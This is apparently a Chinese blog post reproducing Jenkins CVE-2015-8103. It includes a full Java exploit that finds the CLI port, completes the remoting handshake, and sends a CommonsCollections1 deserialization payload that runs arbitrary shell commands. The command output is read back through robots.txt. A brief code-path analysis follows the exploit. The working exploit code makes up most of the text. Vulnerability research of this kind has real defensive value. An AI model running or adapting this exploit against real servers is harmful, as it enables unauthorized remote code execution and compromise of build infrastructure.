Jenkins CVE-2015-8103 復現分析&Exp修改
0x00 前言
這個漏洞之前復現的時候一直不注意細節導致復現失敗。
msf遠端載入jar並反彈shell一直沒打成功,最後是通過一步步除錯poc最後寫成該漏洞利用成功的工具。
一直有幾個坑點,第一個是jdk8_111版本在linux上覆現失敗(本地打可以,不知道是不是jdk壞了),第二個點是執行復雜命令的時候一直有問題,需要sh -c最終才搞定。
0x01 漏洞利用
通過cc1鏈進行生成payload,傳送該payload即刻構成命令執行。
import com.github.kevinsawicki.http.HttpRequest; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.net.*; import java.util.Arrays; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.concurrent.TimeUnit; public class JenkinsCVE_2015_8103 { public String getCliPort(String url){ HttpRequest httpRequest = new HttpRequest(url,"GET"); httpRequest.header("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36"); httpRequest.header("Accept","*/*"); httpRequest.header("Accept-Encoding","gzip, deflate"); String cliPort = httpRequest.header("X-Jenkins-CLI-Port"); //System.out.println(cliPort); return cliPort; } public String getIp(String urlString) throws MalformedURLException, UnknownHostException { InetAddress address = InetAddress.getByName(new URL(urlString).getHost()); String ip = address.getHostAddress(); return ip; } public String exploit(String timeStamp,String command,String host ,String port) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { byte[] protocol = "Protocol:CLI-connect".getBytes(); byte[] flag = {0, 20}; byte[] byte_3 = new byte[protocol.length + flag.length]; System.arraycopy(flag, 0, byte_3, 0, flag.length); System.arraycopy(protocol, 0, byte_3, flag.length, protocol.length); //System.out.println(Arrays.toString(byte_3)); int cliPort = Integer.valueOf(port); // 與服務端建立連線 Socket socket = new Socket(host, cliPort); // 建立連線後獲得輸出流 OutputStream outputStream = socket.getOutputStream(); outputStream.write(byte_3); //通過shutdownOutput高速伺服器已經發送完資料,後續只能接受資料 outputStream.flush(); InputStream inputStream = socket.getInputStream(); ByteArrayOutputStream outSteam = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; len = inputStream.read(buffer); outSteam.write(buffer, 0, len); len = inputStream.read(buffer); outSteam.write(buffer, 0, len); //System.out.println(Arrays.toString(outSteam.toByteArray())); byte[] payloadHeader = "<===[JENKINS REMOTING CAPACITY]===>".getBytes(); byte[] payloadBody = Base64.getEncoder().encode(generatePayload(timeStamp,command)); byte[] payload = new byte[payloadHeader.length + payloadBody.length]; System.arraycopy(payloadHeader, 0, payload, 0, payloadHeader.length); System.arraycopy(payloadBody, 0, payload, payloadHeader.length, payloadBody.length); //System.out.println(Arrays.toString(payload)); outputStream.write(payload); outputStream.flush(); inputStream.close(); outputStream.close(); socket.close(); return ""; } public byte[] generatePayload(String flag,String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { //System.out.println(command); command = flag + command; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"sh", "-c","cd $(find / -name \"winstone.jar\" -type f -exec dirname {} \\; | sed 1q) && echo `" + command + "` > robots.txt"}}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class); constructor.setAccessible(true); HashMap hashMap = new HashMap<String, String>(); Object lazyMap = constructor.newInstance(hashMap, chainedTransformer); constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); // 因為構造方法不是 public, 只能通過反射構造出來 constructor.setAccessible(true); InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap); Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo); constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Deprecated.class, proxy); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(obj); return byteArrayOutputStream.toByteArray(); } public String getCmdResult(String flag,String url) throws InterruptedException { int all = 10; String result = ""; String execResult = ""; for(int count=0;count<all;count++){ HttpRequest httpRequest = HttpRequest.get(url + "/robots.txt"); result = httpRequest.body(); //System.out.println(result); if(result.contains(flag)) { execResult = result.replaceFirst(flag, ""); break; } TimeUnit.SECONDS.sleep(1); } if(execResult.equals("")){ execResult = "Can not execute command"; } // String result = ""; return execResult; } }
0x02 漏洞分析
從poc分析,該漏洞利用主要分為幾步,首先是獲得Cli埠,cli埠一般為隨機埠
接著去請求cli埠
第一步是client傳送類似於Protocol:CLI-connect的握手協議,接著服務端返回Welcome,接著再度返回<==Jenkins這些標記,最後接上經過base64編碼的序列化字串。
從程式碼層面來看,該cli埠業務處理邏輯入口為TcpSlaveAgentListener
其呼叫ConnectionHandler方法,直接判斷Protocol協議是否符合預期
run方法中呼叫handle方法,在接收後返回Welcome
跟進runCli
通過鏈式呼叫,最終呼叫build方法,其中build方法傳入為輸入和輸出
方法最後呼叫negotiate,對client傳過來的資料進行反序列化,以及講序列化的資料傳給客戶端
該read方法的內部構造呼叫了readObject
通過呼叫readObject進行反序列化,反序列化使用的是cc1鏈的payload,於是會通過呼叫AnnotationInvocationHandler進行去呼叫CommonsCollections的鏈式呼叫,從而執行命令。
0x0 參考
https://www.kingkk.com/2019/01/Java反序列之從萌新到菜鳥/
https://misakikata.github.io/2020/03/Jenkins漏洞集合復現